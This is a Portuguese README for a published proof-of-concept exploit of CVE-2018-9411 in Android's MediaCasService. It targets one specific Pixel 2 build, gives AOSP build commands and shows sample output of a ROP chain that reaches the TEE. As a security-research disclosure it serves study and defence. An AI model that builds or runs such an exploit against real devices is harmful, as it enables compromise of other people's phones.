
Código de exploit para CVE-2018-9411 para MediaCasService
Código de exploit para CVE-2018-9411 para MediaCasService.
Note que este exploit é fornecido apenas para fins educacionais ou defensivos; não se destina a qualquer uso malicioso ou ofensivo.
O artigo completo sobre a vulnerabilidade e o exploit está disponível no blog da Zimperium.
Se você tiver alguma dúvida, fique à vontade para me enviar uma mensagem direta no Twitter (@tamir_zb).
Nota: este exploit foi projetado para funcionar apenas em um dispositivo e build específicos - Pixel 2 com a atualização de segurança de maio de 2018 (fingerprint: google/walleye/walleye:8.1.0/OPM2.171019.029.B1/4720900:user/release-keys).
Para compilar isto:
AOSP/external.cd AOSP
source build/envsetup.sh
make cas_exploit
Uma execução bem-sucedida deste exploit deve obter acesso ao dispositivo TEE, o que será demonstrado pela obtenção da versão do QSEOS.
Exemplo de saída do exploit:
[+] Prepared descrambler object
[+] Determined small heap address (address = 0xec9d8000)
[+] Prepared remote threads
[+] Found target thread (stack address = 0xeb42b000, libc address = 0xec51d000)
[+] Copied data for ROP chain
[+] ROP stack written
[+] Running ROP chain...
[+] QSEOS version = 0x14